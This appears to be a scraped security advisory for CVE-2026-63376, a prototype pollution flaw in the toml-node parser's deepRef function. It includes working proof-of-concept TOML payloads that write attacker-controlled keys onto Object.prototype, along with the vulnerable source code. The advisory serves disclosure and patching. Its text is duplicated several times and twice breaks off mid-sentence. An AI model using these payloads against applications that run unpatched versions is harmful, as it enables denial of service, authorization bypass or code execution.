CVE-2026-63376

toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.proto.proto, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same proto traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2.

toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.proto.proto, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same proto traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2.

Summary

toml.parse() writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct [__proto__] table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as a.b.y.__proto__.__proto__, where a.b.y holds a number, resolves to Object.prototype and every subsequent key/value writes onto it.

The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires.

Steps to reproduce

1. Install the latest version and run the comma-desynchronization payload.

   npm install [email protected]
   

   const toml = require("toml");
   delete Object.prototype.polluted;
   
   toml.parse(`
   [a.b]
   y = 1
   [a.b.y.__proto__.__proto__]
   polluted = "yes"
   `);
   
   console.log(({}).polluted);   // -> "yes"
   

2. Observe that a freshly created object inherits the injected key, confirming Object.prototype was modified:

   yes
   

3. Confirm the prefix-clear variant reaches the same result:

   toml.parse(`
   aa = 1
   [[a]]
   [aa.__proto__.__proto__]
   polluted = "yes"
   `);
   console.log(({}).polluted);   // -> "yes"
   

A nested gadget object is also injectable, not only scalar keys:

toml.parse(`
[a.b]
y = 1
[a.b.y.__proto__.__proto__.code]
val = "arbitrary"
`);
console.log(({}).code.val);     // -> "arbitrary"

Technical details

The compiler builds the result tree in lib/compiler.js. Tables are created with a null prototype, so a direct [__proto__] table only sets an ordinary own property and does not pollute:

var data = Object.create(null);   // line 7 — root has no prototype
// ...
target[k] = Object.create(null);  // line 64 — intermediate tables, no prototype

The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:

function deepRef(start, keys, value, off) {        // lib/compiler.js:183
  var traversedPath = "";
  var ctx = start;
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    traversedPath = traversedPath ? traversedPath + "." + key : key;
    if (typeof ctx[key] === "undefined") {
      if (i === keys.length - 1) { ctx[key] = value; }
      else { ctx[key] = Object.create(null); }
    } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {
      genError("Cannot redefine existing key '" + traversedPath + "'.", off);  // line 197 — the guard
    }
    ctx = ctx[key];                                // line 200 — follows __proto__ into the prototype chain
    if (ctx instanceof Array && ctx.length && i < keys.length - 1) {
      ctx = ctx[ctx.length - 1];
    }
  }
  return ctx;
}

Two problems combine:

1. deepRef treats __proto__ (and constructor, prototype) as ordinary traversable keys. Line 200 executes ctx = ctx[key] for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number 1 stored at a.b.y — the next two __proto__ segments evaluate to Number.prototype and then Object.prototype. The null-prototype hardening covers only the container tables the compiler creates; it does not cover the values stored in them, and those values carry normal prototypes.

2. The guard on line 197 is defeated by a path-format desynchronization. currentPath is assigned two incompatible types: setPath stores an array (currentPath = path, line 151) while addTableArray stores a string (currentPath = quotedPath, line 172). When assign later builds the path of a value, it concatenates that array with a string:

var fullPath = currentPath…

toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.proto.proto, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same proto traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2.

toml-node is a TOML parser for Node.js and the browser. Prior to 4.1.2, toml.parse() in lib/compiler.js can be tricked by a table path such as a.b.y.proto.proto, allowing traversal from a scalar value into Number.prototype and Object.prototype. The currentPath tracking value uses both arrays and strings, so valueAssignments records a comma-joined path such as a,b.y while deepRef checks the dot-joined path a.b.y, allowing the duplicate-key guard to miss and attacker-controlled keys to be written to Object.prototype. A table-array prefix-clearing path in addTableArray can also erase guard state before the same proto traversal. Injected properties become visible throughout the Node.js process and can cause denial of service, logic or authorization bypass, or code execution when an application contains a suitable gadget. This issue is fixed in version 4.1.2.

Summary

toml.parse() writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct [__proto__] table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as a.b.y.__proto__.__proto__, where a.b.y holds a number, resolves to Object.prototype and every subsequent key/value writes onto it.

The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires.

Steps to reproduce

1. Install the latest version and run the comma-desynchronization payload.

   npm install [email protected]
   

   const toml = require("toml");
   delete Object.prototype.polluted;
   
   toml.parse(`
   [a.b]
   y = 1
   [a.b.y.__proto__.__proto__]
   polluted = "yes"
   `);
   
   console.log(({}).polluted);   // -> "yes"
   

2. Observe that a freshly created object inherits the injected key, confirming Object.prototype was modified:

   yes
   

3. Confirm the prefix-clear variant reaches the same result:

   toml.parse(`
   aa = 1
   [[a]]
   [aa.__proto__.__proto__]
   polluted = "yes"
   `);
   console.log(({}).polluted);   // -> "yes"
   

A nested gadget object is also injectable, not only scalar keys:

toml.parse(`
[a.b]
y = 1
[a.b.y.__proto__.__proto__.code]
val = "arbitrary"
`);
console.log(({}).code.val);     // -> "arbitrary"

Technical details

The compiler builds the result tree in lib/compiler.js. Tables are created with a null prototype, so a direct [__proto__] table only sets an ordinary own property and does not pollute:

var data = Object.create(null);   // line 7 — root has no prototype
// ...
target[k] = Object.create(null);  // line 64 — intermediate tables, no prototype

The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:

function deepRef(start, keys, value, off) {        // lib/compiler.js:183
  var traversedPath = "";
  var ctx = start;
  for (var i = 0; i < keys.length; i++) {
    var key = keys[i];
    traversedPath = traversedPath ? traversedPath + "." + key : key;
    if (typeof ctx[key] === "undefined") {
      if (i === keys.length - 1) { ctx[key] = value; }
      else { ctx[key] = Object.create(null); }
    } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {
      genError("Cannot redefine existing key '" + traversedPath + "'.", off);  // line 197 — the guard
    }
    ctx = ctx[key];                                // line 200 — follows __proto__ into the prototype chain
    if (ctx instanceof Array && ctx.length && i < keys.length - 1) {
      ctx = ctx[ctx.length - 1];
    }
  }
  return ctx;
}

Two problems combine:

1. deepRef treats __proto__ (and constructor, prototype) as ordinary traversable keys. Line 200 executes ctx = ctx[key] for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number 1 stored at a.b.y — the next two __proto__ segments evaluate to Number.prototype and then Object.prototype. The null-prototype hardening covers only the container tables the compiler creates; it does not cover the values stored in them, and those values carry normal prototypes.

2. The guard on line 197 is defeated by a path-format desynchronization. currentPath is assigned two incompatible types: setPath stores an array (currentPath = path, line 151) while addTableArray stores a string (currentPath = quotedPath, line 172). When assign later builds the path of a value, it concatenates that array with a string:

var fullPath = currentPath…

TuxCare rebuilt toml to address 2 CVEs. Fixed in 3.0.0-tuxcare.1.

Root has patched CVE-2026-63376 in the toml package for Root:npm. Multiple fixed versions available.